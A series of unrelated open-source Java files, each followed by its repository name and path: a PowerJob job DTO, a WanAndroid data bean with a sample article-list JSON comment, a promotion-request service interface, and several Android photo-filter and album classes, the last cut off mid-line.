package tech.powerjob.common.response; import lombok.Data; import tech.powerjob.common.model.AlarmConfig; import tech.powerjob.common.model.JobAdvancedRuntimeConfig; import tech.powerjob.common.model.LogConfig; import java.util.Date; /** * jobInfo 对外输出对象 * * @author tjq * @since 2020/5/14 */ @Data public class JobInfoDTO { private Long id; /* ************************** 任务基本信息 ************************** */ /** * 任务名称 */ private String jobName; /** * 任务描述 */ private String jobDescription; /** * 任务所属的应用ID */ private Long appId; /** * 任务自带的参数 */ private String jobParams; /* ************************** 定时参数 ************************** */ /** * 时间表达式类型(CRON/API/FIX_RATE/FIX_DELAY) */ private Integer timeExpressionType; /** * 时间表达式,CRON/NULL/LONG/LONG */ private String timeExpression; /* ************************** 执行方式 ************************** */ /** * 执行类型,单机/广播/MR */ private Integer executeType; /** * 执行器类型,Java/Shell */ private Integer processorType; /** * 执行器信息 */ private String processorInfo; /* ************************** 运行时配置 ************************** */ /** * 最大同时运行任务数,默认 1 */ private Integer maxInstanceNum; /** * 并发度,同时执行某个任务的最大线程数量 */ private Integer concurrency; /** * 任务整体超时时间 */ private Long instanceTimeLimit; /** ************************** 重试配置 ************************** */ private Integer instanceRetryNum; private Integer taskRetryNum; /** * 1 正常运行,2 停止(不再调度) */ private Integer status; /** * 下一次调度时间 */ private Long nextTriggerTime; /* ************************** 繁忙机器配置 ************************** */ /** * 最低CPU核心数量,0代表不限 */ private double minCpuCores; /** * 最低内存空间,单位 GB,0代表不限 */ private double minMemorySpace; /** * 最低磁盘空间,单位 GB,0代表不限 */ private double minDiskSpace; /* ************************** 集群配置 ************************** */ /** * 指定机器运行,空代表不限,非空则只会使用其中的机器运行(多值逗号分割) */ private String designatedWorkers; /** * 最大机器数量 */ private Integer maxWorkerCount; /** * 报警用户ID列表,多值逗号分隔 */ private String notifyUserIds; private Date gmtCreate; private Date gmtModified; private String extra; /** * 派发策略 */ private Integer dispatchStrategy; /** * 某种派发策略背后的具体配置,值取决于 dispatchStrategy */ private String dispatchStrategyConfig; private String lifecycle; private AlarmConfig alarmConfig; /** * 任务归类,开放给接入方自由定制 */ private String tag; /** * 日志配置,包括日志级别、日志方式等配置信息 */ private LogConfig logConfig; private JobAdvancedRuntimeConfig advancedRuntimeConfig; }
PowerJob/PowerJob
powerjob-common/src/main/java/tech/powerjob/common/response/JobInfoDTO.java
65,714
package com.zlx.module_base.base_api.res_data; /** * Created by zlx on 2020/9/25 17:21 * Email: [email protected] * Description: */ public class MyShareBean { /** * coinInfo : {"coinCount":13582,"level":136,"rank":"4","userId":2,"username":"x**oyang"} * shareArticles : {"curPage":1,"datas":[{"apkLink":"","audit":1,"author":"xiaoyang","canEdit":false,"chapterId":440,"chapterName":"官方","collect":false,"courseId":13,"desc":"<p>每次新建项目,我们都会生成build.gradle,如果是app模块则会引入:<\/p>\r\n<pre><code>apply plugin: &#39;com.android.application&#39;\r\n<\/code><\/pre><p>如果是lib:<\/p>\r\n<pre><code>apply plugin: &#39;com.android.library&#39;\r\n<\/code><\/pre><p>问题来了:<\/p>\r\n<ol>\r\n<li>apply plugin: &#39;com.android.application&#39;背后的原理是?<\/li>\r\n<\/ol>","descMd":"","envelopePic":"","fresh":true,"id":14500,"link":"https://wanandroid.com/wenda/show/14500","niceDate":"5小时前","niceShareDate":"5小时前","origin":"","prefix":"","projectLink":"","publishTime":1595735648000,"realSuperChapterId":439,"selfVisible":0,"shareDate":1595735648000,"shareUser":"","superChapterId":440,"superChapterName":"问答","tags":[{"name":"本站发布","url":"/article/list/0?cid=440"},{"name":"问答","url":"/wenda"}],"title":"每日一问 | apply plugin: 'com.android.application' 背后发生了什么?","type":2,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":494,"chapterName":"广场","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":true,"id":14497,"link":"https://juejin.im/post/5f1adc98e51d4534732069d1","niceDate":"17小时前","niceShareDate":"17小时前","origin":"","prefix":"","projectLink":"","publishTime":1595689516000,"realSuperChapterId":493,"selfVisible":0,"shareDate":1595689516000,"shareUser":"鸿洋","superChapterId":494,"superChapterName":"广场Tab","tags":[],"title":" 仿系统日志实现一个Crash日志采集工具 ","type":0,"userId":2,"visible":0,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":494,"chapterName":"广场","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":true,"id":14496,"link":"https://juejin.im/post/5f1ae5176fb9a07e7b6269bf","niceDate":"18小时前","niceShareDate":"18小时前","origin":"","prefix":"","projectLink":"","publishTime":1595686018000,"realSuperChapterId":493,"selfVisible":0,"shareDate":1595686018000,"shareUser":"鸿洋","superChapterId":494,"superChapterName":"广场Tab","tags":[],"title":" Android 性能监控框架 Matrix(3)Hprof 文件分析 ","type":0,"userId":2,"visible":0,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":494,"chapterName":"广场","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":true,"id":14495,"link":"https://blog.csdn.net/kangkanglou/article/details/79422520","niceDate":"19小时前","niceShareDate":"19小时前","origin":"","prefix":"","projectLink":"","publishTime":1595685413000,"realSuperChapterId":493,"selfVisible":0,"shareDate":1595685389000,"shareUser":"鸿洋","superChapterId":494,"superChapterName":"广场Tab","tags":[],"title":"JVM指令之invokestatic,invokespecial,invokeinterface,invokevirtual,invokedy","type":0,"userId":2,"visible":0,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":494,"chapterName":"广场","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":true,"id":14494,"link":"https://www.infoq.cn/article/Invokedynamic-Javas-secret-weapon","niceDate":"19小时前","niceShareDate":"19小时前","origin":"","prefix":"","projectLink":"","publishTime":1595683638000,"realSuperChapterId":493,"selfVisible":0,"shareDate":1595683638000,"shareUser":"鸿洋","superChapterId":494,"superChapterName":"广场Tab","tags":[],"title":"Invokedynamic:Java的秘密武器 - InfoQ","type":0,"userId":2,"visible":0,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":494,"chapterName":"广场","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":true,"id":14492,"link":"https://juejin.im/post/5f04129c6fb9a07e8e44e7c3","niceDate":"21小时前","niceShareDate":"21小时前","origin":"","prefix":"","projectLink":"","publishTime":1595674919000,"realSuperChapterId":493,"selfVisible":0,"shareDate":1595674919000,"shareUser":"鸿洋","superChapterId":494,"superChapterName":"广场Tab","tags":[],"title":" JVM 角度看代码优化 ","type":0,"userId":2,"visible":0,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":494,"chapterName":"广场","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":true,"id":14491,"link":"https://www.jianshu.com/p/0ec378cfb4c7","niceDate":"22小时前","niceShareDate":"22小时前","origin":"","prefix":"","projectLink":"","publishTime":1595672891000,"realSuperChapterId":493,"selfVisible":0,"shareDate":1595672891000,"shareUser":"鸿洋","superChapterId":494,"superChapterName":"广场Tab","tags":[],"title":"宏观剖析Glide4.8.0源码 ","type":0,"userId":2,"visible":0,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":494,"chapterName":"广场","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":true,"id":14490,"link":"https://juejin.im/post/5f16cf76f265da22fd6399ef","niceDate":"23小时前","niceShareDate":"23小时前","origin":"","prefix":"","projectLink":"","publishTime":1595669085000,"realSuperChapterId":493,"selfVisible":0,"shareDate":1595669085000,"shareUser":"鸿洋","superChapterId":494,"superChapterName":"广场Tab","tags":[],"title":" Thread也会OOM吗? ","type":0,"userId":2,"visible":0,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":486,"chapterName":"LiveData","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14457,"link":"https://juejin.im/post/5f171848f265da22fd639a56","niceDate":"2020-07-23 00:08","niceShareDate":"2020-07-23 00:04","origin":"","prefix":"","projectLink":"","publishTime":1595434112000,"realSuperChapterId":422,"selfVisible":0,"shareDate":1595433842000,"shareUser":"鸿洋","superChapterId":423,"superChapterName":"Jetpack","tags":[],"title":"自己动手改造 Jetpack LiveData","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":78,"chapterName":"性能优化","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14458,"link":"https://juejin.im/post/5f168dd9f265da22ce394a7a","niceDate":"2020-07-23 00:08","niceShareDate":"2020-07-23 00:04","origin":"","prefix":"","projectLink":"","publishTime":1595434100000,"realSuperChapterId":53,"selfVisible":0,"shareDate":1595433859000,"shareUser":"鸿洋","superChapterId":81,"superChapterName":"热门专题","tags":[],"title":"一个更贴近 android 场景的启动框架 | Anchors","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":228,"chapterName":"辅助 or 工具类","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14459,"link":"https://www.jianshu.com/p/1eca5e32fad2","niceDate":"2020-07-23 00:08","niceShareDate":"2020-07-23 00:04","origin":"","prefix":"","projectLink":"","publishTime":1595434089000,"realSuperChapterId":156,"selfVisible":0,"shareDate":1595433892000,"shareUser":"鸿洋","superChapterId":135,"superChapterName":"项目必备","tags":[],"title":"基于JSON RPC的一种Android跨进程调用解决方案了解一下?","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":78,"chapterName":"性能优化","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14460,"link":"https://www.jianshu.com/p/ebbe8341c582","niceDate":"2020-07-23 00:07","niceShareDate":"2020-07-23 00:05","origin":"","prefix":"","projectLink":"","publishTime":1595434028000,"realSuperChapterId":53,"selfVisible":0,"shareDate":1595433931000,"shareUser":"鸿洋","superChapterId":81,"superChapterName":"热门专题","tags":[],"title":"Android apk瘦身更佳实践(一):去除R.class","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":100,"chapterName":"RecyclerView","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14461,"link":"https://www.jianshu.com/p/3e9aa4bdaefd?utm_source=desktop&amp;utm_medium=timeline","niceDate":"2020-07-23 00:06","niceShareDate":"2020-07-23 00:06","origin":"","prefix":"","projectLink":"","publishTime":1595434008000,"realSuperChapterId":39,"selfVisible":0,"shareDate":1595433992000,"shareUser":"鸿洋","superChapterId":54,"superChapterName":"5.+高新技术","tags":[],"title":"让你彻底掌握RecyclerView的缓存机制","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":93,"chapterName":"基础知识","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14446,"link":"https://juejin.im/post/5f156c8de51d453476714a37","niceDate":"2020-07-22 00:14","niceShareDate":"2020-07-22 00:13","origin":"","prefix":"","projectLink":"","publishTime":1595348088000,"realSuperChapterId":37,"selfVisible":0,"shareDate":1595348037000,"shareUser":"鸿洋","superChapterId":126,"superChapterName":"自定义控件","tags":[],"title":"Android进阶基础系列:View的工作原理 全面理解!","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":510,"chapterName":"大厂分享","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14433,"link":"https://juejin.im/post/5f144b2f6fb9a07e6f7b7fce#comment","niceDate":"2020-07-21 00:08","niceShareDate":"2020-07-21 00:05","origin":"","prefix":"","projectLink":"","publishTime":1595261306000,"realSuperChapterId":509,"selfVisible":0,"shareDate":1595261147000,"shareUser":"鸿洋","superChapterId":510,"superChapterName":"大厂对外分享","tags":[],"title":"今日头条 Android &#39;秒&#39; 级编译速度优化","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":444,"chapterName":"androidx","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14434,"link":"https://juejin.im/post/5f02bb50f265da22a8514e49","niceDate":"2020-07-21 00:08","niceShareDate":"2020-07-21 00:06","origin":"","prefix":"","projectLink":"","publishTime":1595261300000,"realSuperChapterId":39,"selfVisible":0,"shareDate":1595261179000,"shareUser":"鸿洋","superChapterId":54,"superChapterName":"5.+高新技术","tags":[],"title":"错误的ViewPager用法(填坑):ViewPager2做了什么?","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":142,"chapterName":"ConstraintLayout","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14436,"link":"https://juejin.im/post/5f0e9eea6fb9a07e7e0444e3","niceDate":"2020-07-21 00:08","niceShareDate":"2020-07-21 00:06","origin":"","prefix":"","projectLink":"","publishTime":1595261288000,"realSuperChapterId":39,"selfVisible":0,"shareDate":1595261188000,"shareUser":"鸿洋","superChapterId":54,"superChapterName":"5.+高新技术","tags":[],"title":"Android MotionLayout动画:续写ConstraintLayout新篇章","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"xiaoyang","canEdit":false,"chapterId":440,"chapterName":"官方","collect":false,"courseId":13,"desc":"<p>View 的三大流程:测量、布局、绘制,我想大家应该都烂熟于心。<\/p>\r\n<p>而在绘制阶段,ViewGroup 不光要绘制自身,还需循环绘制其一众子 View,这个绘制策略默认为顺序绘制,即 [0 ~ childCount)。<\/p>\r\n<p>这个默认的策略,有办法调整吗?<\/p>\r\n<p>例如修改成 (childCount ~ 0],或是修成某个 View 更后绘制。同时又有什么场景需要我们做这样的修改?<\/p>\r\n<p>问题来了:<\/p>\r\n<ol>\r\n<li>这个默认的策略,有办法调整吗?<\/li>\r\n<li>修改了之后,事件分发需要特殊处理吗?还是需要特殊处理。<\/li>\r\n<\/ol>","descMd":"","envelopePic":"","fresh":false,"id":14409,"link":"https://www.wanandroid.com/wenda/show/14409","niceDate":"2020-07-20 00:01","niceShareDate":"2020-07-19 18:07","origin":"","prefix":"","projectLink":"","publishTime":1595174476000,"realSuperChapterId":439,"selfVisible":0,"shareDate":1595153262000,"shareUser":"","superChapterId":440,"superChapterName":"问答","tags":[{"name":"本站发布","url":"/article/list/0?cid=440"},{"name":"问答","url":"/wenda"}],"title":"每日一问| View 绘制的一个细节,如何修改 View 绘制的顺序?","type":1,"userId":2,"visible":1,"zan":5},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":313,"chapterName":"字节码","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14403,"link":"https://www.jianshu.com/p/d3ccd97ec5d1","niceDate":"2020-07-20 00:00","niceShareDate":"2020-07-19 14:17","origin":"","prefix":"","projectLink":"","publishTime":1595174437000,"realSuperChapterId":244,"selfVisible":0,"shareDate":1595139462000,"shareUser":"鸿洋","superChapterId":245,"superChapterName":"Java深入","tags":[],"title":"ASM简介(二)","type":0,"userId":2,"visible":1,"zan":0},{"apkLink":"","audit":1,"author":"","canEdit":false,"chapterId":313,"chapterName":"字节码","collect":false,"courseId":13,"desc":"","descMd":"","envelopePic":"","fresh":false,"id":14402,"link":"https://www.jianshu.com/p/85502e42bbb6","niceDate":"2020-07-20 00:00","niceShareDate":"2020-07-19 14:17","origin":"","prefix":"","projectLink":"","publishTime":1595174418000,"realSuperChapterId":244,"selfVisible":0,"shareDate":1595139445000,"shareUser":"鸿洋","superChapterId":245,"superChapterName":"Java深入","tags":[],"title":"ASM简介(一)","type":0,"userId":2,"visible":1,"zan":0}],"offset":0,"over":false,"pageCount":30,"size":20,"total":592} */ private UserInfo coinInfo; private ArticleListRes shareArticles; public UserInfo getCoinInfo() { return coinInfo; } public void setCoinInfo(UserInfo coinInfo) { this.coinInfo = coinInfo; } public ArticleListRes getShareArticles() { return shareArticles; } public void setShareArticles(ArticleListRes shareArticles) { this.shareArticles = shareArticles; } }
1170762202/WanAndroid
library-base/src/main/java/com/zlx/module_base/base_api/res_data/MyShareBean.java
65,715
package cn.lmjia.market.core.service.request; import cn.lmjia.market.core.define.MarketUserNoticeType; import cn.lmjia.market.core.entity.Login; import cn.lmjia.market.core.entity.request.PromotionRequest; import cn.lmjia.market.core.service.WechatNoticeHelper; import me.jiangcai.jpa.entity.support.Address; import org.springframework.transaction.annotation.Transactional; import java.io.IOException; import java.math.BigDecimal; /** * 升级申请服务 * 支付通知:OPENTM409997458 * 通过通知:OPENTM205211943 * * @author CJ */ public interface PromotionRequestService { /** * @param login * @return 当前申请;或者null */ @Transactional(readOnly = true) PromotionRequest currentRequest(Login login); /** * 初始化一个申请,但还尚未提交 * * @param login 申请者 * @param agentName 公司名称 * @param type 升级类型 * @param address 公司地址 * @param cardBackPath 身份证背后 * @param cardFrontPath 身份前面 * @param businessLicensePath 可选的营业执照 * @return 申请信息 */ @Transactional PromotionRequest initRequest(Login login, String agentName, int type, Address address, String cardBackPath , String cardFrontPath, String businessLicensePath) throws IOException; /** * 提交这个申请,让管理员可见 * * @param request 申请 */ @Transactional void submitRequest(PromotionRequest request); MarketUserNoticeType getPaySuccessMessage(); void registerNotices(WechatNoticeHelper wechatNoticeHelper); /** * 升级至经销商的价格 * * @return 价格 */ BigDecimal getPriceFor1(); }
JoleneOL/market-manage
core-service/src/main/java/cn/lmjia/market/core/service/request/PromotionRequestService.java
65,717
package com.martin.ads.vrlib.filters.advanced.mx; import android.content.Context; import com.martin.ads.vrlib.filters.base.SimpleFragmentShaderFilter; /** * Created by Ads on 2017/1/31. * ReminiscenceFilter (回忆) */ public class ReminiscenceFilter extends SimpleFragmentShaderFilter { public ReminiscenceFilter(Context context) { super(context, "filter/fsh/mx_reminiscence.glsl"); } }
Martin20150405/Pano360
vrlib/src/main/java/com/martin/ads/vrlib/filters/advanced/mx/ReminiscenceFilter.java
65,718
package com.muzhi.camerasdk.utils; import android.content.Context; import android.content.res.AssetManager; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.nio.charset.Charset; import java.util.ArrayList; import java.util.List; import com.muzhi.camerasdk.R; import com.muzhi.camerasdk.library.filter.util.ImageFilterTools.FilterType; import com.muzhi.camerasdk.model.Filter_Effect_Info; import com.muzhi.camerasdk.model.Filter_Sticker_Info; /** * 特效文件 */ public class FilterUtils { /** * 获取特效列表 * @return */ public static ArrayList<Filter_Effect_Info> getEffectList(){ ArrayList<Filter_Effect_Info> effect_list = new ArrayList<Filter_Effect_Info>(); effect_list.add(new Filter_Effect_Info("原图", R.drawable.camerasdk_filter_normal,FilterType.I_1977)); effect_list.add(new Filter_Effect_Info("创新", R.drawable.camerasdk_filter_in1977,FilterType.I_1977)); effect_list.add(new Filter_Effect_Info("流年", R.drawable.camerasdk_filter_amaro,FilterType.I_AMARO)); effect_list.add(new Filter_Effect_Info("淡雅", R.drawable.camerasdk_filter_brannan,FilterType.I_BRANNAN)); effect_list.add(new Filter_Effect_Info("怡尚", R.drawable.camerasdk_filter_early_bird,FilterType.I_EARLYBIRD)); effect_list.add(new Filter_Effect_Info("优格", R.drawable.camerasdk_filter_hefe,FilterType.I_HEFE)); effect_list.add(new Filter_Effect_Info("胶片", R.drawable.camerasdk_filter_hudson,FilterType.I_HUDSON)); effect_list.add(new Filter_Effect_Info("黑白", R.drawable.camerasdk_filter_inkwell,FilterType.I_INKWELL)); effect_list.add(new Filter_Effect_Info("个性", R.drawable.camerasdk_filter_lomo,FilterType.I_LOMO)); effect_list.add(new Filter_Effect_Info("回忆", R.drawable.camerasdk_filter_lord_kelvin,FilterType.I_LORDKELVIN)); effect_list.add(new Filter_Effect_Info("不羁", R.drawable.camerasdk_filter_nashville,FilterType.I_NASHVILLE)); effect_list.add(new Filter_Effect_Info("森系", R.drawable.camerasdk_filter_rise,FilterType.I_NASHVILLE)); effect_list.add(new Filter_Effect_Info("清新", R.drawable.camerasdk_filter_sierra,FilterType.I_SIERRA)); effect_list.add(new Filter_Effect_Info("摩登", R.drawable.camerasdk_filter_sutro,FilterType.I_SUTRO)); effect_list.add(new Filter_Effect_Info("绚丽", R.drawable.camerasdk_filter_toaster,FilterType.I_TOASTER)); effect_list.add(new Filter_Effect_Info("优雅", R.drawable.camerasdk_filter_valencia,FilterType.I_VALENCIA)); effect_list.add(new Filter_Effect_Info("日系", R.drawable.camerasdk_filter_walden,FilterType.I_WALDEN)); effect_list.add(new Filter_Effect_Info("新潮", R.drawable.camerasdk_filter_xproii,FilterType.I_XPROII)); return effect_list; } /** * 获取所有贴纸 * @param context * @return */ public static ArrayList<Filter_Sticker_Info> getStickerList(){ ArrayList<Filter_Sticker_Info> stickerList = new ArrayList<Filter_Sticker_Info>(); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_1)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_2)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_33)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_4)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_5)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_6)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_7)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_8)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_9)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_10)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_11)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_12)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_13)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_14)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_15)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_16)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_17)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_18)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_19)); stickerList.add(new Filter_Sticker_Info(R.drawable.sticker_20)); /*stickerList.add(new Filter_Sticker_Info(R.drawable.camerasdk_stickers,true));*/ return stickerList; } /** * 获取所有贴纸 * @return */ public static void initSticker(Context mContext){ /*String fileName="sticker/sticker.txt"; try{ InputStreamReader inputReader = new InputStreamReader(mContext.getAssets().open(fileName),Charset.defaultCharset()); BufferedReader bufReader = new BufferedReader(inputReader); String line=""; String Result=""; while((line = bufReader.readLine()) != null){ Result += line.trim(); } bufReader.close(); inputReader.close(); if(!"".equals(Result)){ emotions=getGson().fromJson(Result, new TypeToken<List<EmotionInfo>>(){}.getType()); getEmotionsTask(); } } catch(Exception e){ e.printStackTrace(); } */ } /*private static void getEmotionsTask() { AssetManager assetManager = AppData.getInstance().getAssets(); InputStream inputStream; for(EmotionInfo em : emotions){ String fileName="smiley/smileys/"+em.getFileName(); //String smileyName=em.getSmileyString(); try{ inputStream = assetManager.open(fileName); Bitmap bitmap = BitmapFactory.decodeStream(inputStream); if(bitmap!=null){ Bitmap scaledBitmap = Bitmap.createScaledBitmap(bitmap, CommonUtils.dip2px(20), CommonUtils.dip2px(20), true); if(bitmap != scaledBitmap){ bitmap.recycle(); bitmap = scaledBitmap; } em.setEmotionImage(bitmap); } inputStream.close(); } catch (IOException ignored) { } } }*/ }
zxfnicholas/CameraSDK
camerasdk/src/main/java/com/muzhi/camerasdk/utils/FilterUtils.java
65,720
package hitcs.fghz.org.album; import android.app.Fragment; import android.content.Intent; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.GridView; import java.util.ArrayList; import java.util.List; import java.util.Map; import hitcs.fghz.org.album.adapter.MemoryAdapter; import hitcs.fghz.org.album.entity.MemoryItem; import static hitcs.fghz.org.album.utils.ImagesScaner.getAlbumInfo; /** * 回忆 栏的fregment的具体定义 */ public class Memory extends Fragment { private List<Map<String, String>> result; public Memory() { } private List<MemoryItem> memoryList = new ArrayList<MemoryItem>(); @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.fg_memory,container,false); GridView gridView = (GridView) view.findViewById(R.id.memory_list); initMemory(); MemoryAdapter adapter = new MemoryAdapter(getActivity(), R.layout.memory_item, memoryList); gridView.setAdapter(adapter); gridView.setOnItemClickListener(new AdapterView.OnItemClickListener() { public void onItemClick(AdapterView<?> parent, View v, int position, long id) { Log.d("Memeory", "" + position); Intent intent = new Intent(getActivity(), MovieShowActivity.class); if (memoryList.get(position).getType() == "全部图片") { } else { intent.putExtra("type", memoryList.get(position).getType()); } startActivity(intent); } }); return view; } private void initMemory() { MemoryItem memory; result = getAlbumInfo(getContext()); memory = new MemoryItem(result.get(0).get("show_image"), "全部图片"); memoryList.add(memory); for (Map<String, String> s: result) { memory = new MemoryItem(s.get("show_image"), s.get("album_name")); memoryList.add(memory); } } }
gaohuangzhang/Album-Category
app/src/main/java/hitcs/fghz/org/album/Memory.java
65,722
package com.nicodelee.beautyarticle.ui.camara; import java.util.ArrayList; import java.util.List; public class EffectService { private static EffectService mInstance; public static EffectService getInst() { if (mInstance == null) { synchronized (EffectService.class) { if (mInstance == null) mInstance = new EffectService(); } } return mInstance; } private EffectService() { } public List<FilterEffect> getLocalFilters() { List<FilterEffect> filters = new ArrayList<FilterEffect>(); filters.add(new FilterEffect("原图", GPUImageFilterTools.FilterType.NORMAL, 0)); filters.add(new FilterEffect("暧昧", GPUImageFilterTools.FilterType.ACV_AIMEI, 0)); filters.add(new FilterEffect("淡蓝", GPUImageFilterTools.FilterType.ACV_DANLAN, 0)); filters.add(new FilterEffect("蛋黄", GPUImageFilterTools.FilterType.ACV_DANHUANG, 0)); filters.add(new FilterEffect("复古", GPUImageFilterTools.FilterType.ACV_FUGU, 0)); filters.add(new FilterEffect("高冷", GPUImageFilterTools.FilterType.ACV_GAOLENG, 0)); filters.add(new FilterEffect("怀旧", GPUImageFilterTools.FilterType.ACV_HUAIJIU, 0)); filters.add(new FilterEffect("胶片", GPUImageFilterTools.FilterType.ACV_JIAOPIAN, 0)); filters.add(new FilterEffect("可爱", GPUImageFilterTools.FilterType.ACV_KEAI, 0)); filters.add(new FilterEffect("落寞", GPUImageFilterTools.FilterType.ACV_LOMO, 0)); filters.add(new FilterEffect("加强", GPUImageFilterTools.FilterType.ACV_MORENJIAQIANG, 0)); filters.add(new FilterEffect("暖心", GPUImageFilterTools.FilterType.ACV_NUANXIN, 0)); filters.add(new FilterEffect("清新", GPUImageFilterTools.FilterType.ACV_QINGXIN, 0)); filters.add(new FilterEffect("日系", GPUImageFilterTools.FilterType.ACV_RIXI, 0)); filters.add(new FilterEffect("温暖", GPUImageFilterTools.FilterType.ACV_WENNUAN, 0)); filters.add(new FilterEffect("夕阳", GPUImageFilterTools.FilterType.ACV_02, 0)); filters.add(new FilterEffect("回忆", GPUImageFilterTools.FilterType.ACV_06, 0)); filters.add(new FilterEffect("初恋", GPUImageFilterTools.FilterType.ACV_17, 0)); filters.add(new FilterEffect("诡秘", GPUImageFilterTools.FilterType.ACV_AQUA, 0)); filters.add(new FilterEffect("暖阳", GPUImageFilterTools.FilterType.ACV_CROSSPROCESS, 0)); filters.add(new FilterEffect("文艺", GPUImageFilterTools.FilterType.ACV_PURPLE_GREEN, 0)); filters.add(new FilterEffect("1997", GPUImageFilterTools.FilterType.ACV_YELLO_RED, 0)); filters.add(new FilterEffect("电影", GPUImageFilterTools.FilterType.CONTRAST, 0)); filters.add(new FilterEffect("黑白", GPUImageFilterTools.FilterType.GRAYSCALE, 0)); filters.add(new FilterEffect("胶片", GPUImageFilterTools.FilterType.DILATION, 0)); filters.add(new FilterEffect("斑点", GPUImageFilterTools.FilterType.SHARPEN, 0)); filters.add(new FilterEffect("记忆", GPUImageFilterTools.FilterType.SEPIA, 0)); filters.add(new FilterEffect("秋色", GPUImageFilterTools.FilterType.MONOCHROME, 0)); filters.add(new FilterEffect("留白", GPUImageFilterTools.FilterType.VIGNETTE, 0)); filters.add(new FilterEffect("明亮", GPUImageFilterTools.FilterType.TONE_CURVE, 0)); filters.add(new FilterEffect("老地方", GPUImageFilterTools.FilterType.LOOKUP_AMATORKA, 0)); filters.add(new FilterEffect("模糊", GPUImageFilterTools.FilterType.GAUSSIAN_BLUR, 0)); filters.add(new FilterEffect("涂抹", GPUImageFilterTools.FilterType.KUWAHARA, 0)); filters.add(new FilterEffect("忘记", GPUImageFilterTools.FilterType.RGB_DILATION, 0)); //filters.add(new FilterEffect("add", GPUImageFilterTools.FilterType.SOBEL_EDGE_DETECTION, 0)); //filters.add(new FilterEffect("add", GPUImageFilterTools.FilterType.THREE_X_THREE_CONVOLUTION, 0)); //filters.add(new FilterEffect("add", GPUImageFilterTools.FilterType.FILTER_GROUP, 0)); //filters.add(new FilterEffect("add", GPUImageFilterTools.FilterType.EMBOSS, 0)); //filters.add(new FilterEffect("Line3", GPUImageFilterTools.FilterType.POSTERIZE, 0)); //filters.add(new FilterEffect("Line3", GPUImageFilterTools.FilterType.GAMMA, 0)); //filters.add(new FilterEffect("Line3", GPUImageFilterTools.FilterType.BRIGHTNESS, 0)); //filters.add(new FilterEffect("Line3", GPUImageFilterTools.FilterType.INVERT, 0)); //filters.add(new FilterEffect("Line3", GPUImageFilterTools.FilterType.HUE, 0)); //filters.add(new FilterEffect("Line3", GPUImageFilterTools.FilterType.PIXELATION, 0)); //filters.add(new FilterEffect("Line3", 